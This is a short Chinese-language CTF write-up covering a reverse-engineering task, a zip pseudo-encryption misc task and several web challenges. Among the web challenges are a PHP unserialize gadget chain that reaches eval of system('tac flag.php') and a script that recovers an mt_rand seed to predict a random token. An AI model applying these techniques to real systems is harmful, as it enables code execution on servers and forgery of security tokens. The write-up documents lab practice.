re-签到逆向
将文件拖到ida里,点一下flag_is_here,点一下f5,然后对着数字点一下r,就发现flag了
misc
第一题不写
第二题:
下载文件,用010Editor打开查看十六进制 发现最后两行格式和zip格式完全相同,
尝试给它加上zip头,504B0304,并将文件后缀名改为zip,打开
猜测是伪加密
打开txt文件,发现flag
web
1、super_easy_web
不解释
2、Very_Ez_Unserialize
<?php show_source("index.php"); class A{ public $a='0'; public function __construct() { $this->a=new B; } public function __destruct() { echo $this->a.''; } public function sp(){ return 'eagle 1, fox2'; } } class B{ public $b = ''; public function __construct() { $this->b=new C; } public function __toString() { return $this->b->sp(); } } class C{ public $c='system ("tac flag.php");'; public function sp() { return eval($this->c); } public function getc($t){ $this->c=$t; } } $x=new A(); $s=serialize($x); echo ($s);
第11行将其字符化,触发calss B的toString(),toString()又触发sp(),sp()又可执行$this->c得命令,将其变成system ("tac flag.php");即可。
3、1p1p
https://www.cnblogs.com/ojkojk/p/13612864.html
4、依旧开心哈哈哈
尝试打开flag/flag.php,发现被过滤,证明flag应该在里面
然后尝试
找到flag
5、pseudo_random
查看源码,发现check.php,进去看看,发现源码
果断百度,发现是原题,跟着做
查看得,本题的mt_rand函数是伪随机,只要使用相同的种子,生成的随机数是固定的
使用cpp脚本,计算前十位数值的偏移量
#include <iostream> int main() { std::string str1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; std::string str2 = "ifhiLonL6n"; std::cout << std::endl; for (char i : str2) { std::cout << str1.find(i) << ' ' << str1.find(i) << " 0 61 "; } }
然后打开linux系统,使用php_mt_seed的工具,计算出seed=673902087
最后使用php脚本
<?php
mt_srand(673902087);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
得到结果ksj7b6etb2lHhVRX4tzd
将其拼接,在前面加%0A
出现第二关,不懂